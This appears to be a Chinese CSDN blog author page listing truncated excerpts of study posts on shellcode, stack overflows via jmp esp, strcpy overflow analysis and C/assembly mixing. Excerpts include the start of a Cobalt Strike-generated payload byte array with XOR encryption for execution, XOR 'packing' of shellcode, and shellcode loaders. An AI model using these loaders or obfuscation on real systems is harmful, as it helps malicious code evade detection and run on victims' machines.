![](https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
shellcode
p0inter
生而自由,爱而无畏,保持热爱奔赴山海
展开
-
利用堆栈做循环
程序:#include "stdio.h"int main(int argc,char *argv[]){ char *str="%d"; printf("hello world"); __asm{log: lea eax,log push eax lea ebx,str push ebx push eax call printf ret 8 } return 0;...原创 2020-03-07 20:12:21 · 185 阅读 · 0 评论 -
cobaltstrike生成一个原生c,然后利用xor加密解密执行
首先cobaltstrike生成一个原生c,我的是:/* length: 797 bytes */unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c""\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x...原创 2020-02-24 23:25:55 · 1538 阅读 · 0 评论 -
执行shellcode的几种方式
首先写出汇编成功弹出计算器#pragma comment(linker,"/section:.data,RWE") //data段可读写#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示窗口#pragma comment(linker,"/INCREMENTAL:NO") //指...原创 2020-02-24 21:50:48 · 4876 阅读 · 0 评论 -
栈溢出利用-----jmp esp
通过jmp esp利用栈溢出,首先我们要找出jmp esp 的地址,因为系统不同,通用jmp esp的地址可能不同,下面的代码是找出jmp esp的地址的:#include<windows.h>#include<iostream.h>#include<tchar.h>int main(){int nRetCode=0;bool we_load_i...原创 2020-02-14 22:06:18 · 997 阅读 · 0 评论 -
C和汇编混合编程--------函数调用后ebp、esp值问题
今天老师又给了一个程序,让我们分析,记录一下分析过程程序:#include "stdio.h"#include "string.h"char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\x05\x10\x40\x00";void fun1(int a, int b){ printf("fun1 run!para a=%d,b=%d...原创 2020-02-13 19:04:40 · 758 阅读 · 0 评论 -
C和混编混合编程----strcpy缓存溢出原理
今天老师给了一到程序,让我们分析分析原理,关于strcpy缓存溢出原理的,反汇编一遍遍调试,终于看明白了,记录一下C程序:#include "string.h"#include "stdio.h"char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\x05\x10\x40\x00";void fun1(int a, int b){ p...原创 2020-02-12 18:39:28 · 1022 阅读 · 0 评论 -
对esp和ebp分析来了解函数的调用过程
esp:扩展栈指针寄存器,是指针寄存器的一种,用于存放函数栈顶指针(栈顶指针)ebp:扩展基址指针寄存器,也被称为帧指针寄存器,用于存放函数栈底指针(栈底指针)。esp和ebp有什么关系呢?ebp只是存取某时刻的esp,这个时刻就是进入一个函数内后,cpu会将esp的值赋给ebp,此时就可以通过ebp对栈进行操作,比如获取函数参数,局部变量等,实际上使用esp也可以,只是esp可能会变化,去...原创 2020-02-10 16:44:14 · 1671 阅读 · 0 评论 -
C和汇编混合编程---栈平衡
最近在搞C和汇编混合编程,对栈平衡有点小理解,记录一下当我们调用一个API或者子程序时时,API和子程序可以理解为函数,我们不必在返回的时候平衡栈里面的函数参数,比如下面的程序:#include "stdio.h"#include "windows.h"int main(int argc, char* argv[]){ printf("begin\n"); HINSTAN...原创 2020-02-10 00:09:43 · 364 阅读 · 0 评论 -
shellcode---c和汇编混合编程---弹出cmd
首先用C/C++语言实现弹出cmd#include "stdio.h"#include "windows.h"int main(int argc, char* argv[]){ printf("begin\n"); HINSTANCE libHandle; char *dll="kernel32.dll"; libHandle=LoadLibrary(dll); W...原创 2020-02-09 16:52:58 · 847 阅读 · 0 评论 -
c和汇编混合编程----shellcode----弹出计算器
先用c和汇编混合编程成功弹出计算器(在VC++里运行)#include "stdio.h"#include "windows.h"int main(int argc, char* argv[]){ printf("begin\n"); HINSTANCE libHandle; char *dll="kernel32.dll"; libHandle=LoadLibrar...原创 2020-02-09 12:33:57 · 1028 阅读 · 0 评论 -
利用kali的msf提取汇编机器码(shellcode)
对于提取小段汇编的机器码,kali的msf提取汇编机器码非常方便比如提取下面小段的汇编机器码 push 5 ;5=SW_SHOW push eax mov eax,0x755bdab0 call eax首先输入msf-nasm_shell //注意msf和-之间没有空格然后依次输入命令将上面内容复制到一个文本编辑器里,提取然后每两个数字之间加入/x\x6...原创 2020-02-19 16:43:54 · 951 阅读 · 0 评论 -
利用xor给shellcode加壳
首先看我们的shellcode,执行弹出cmd#include "stdio.h"#include "windows.h"#include <string.h>#include "stdlib.h"char key=0x51;char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";i...原创 2020-02-17 14:05:47 · 1269 阅读 · 0 评论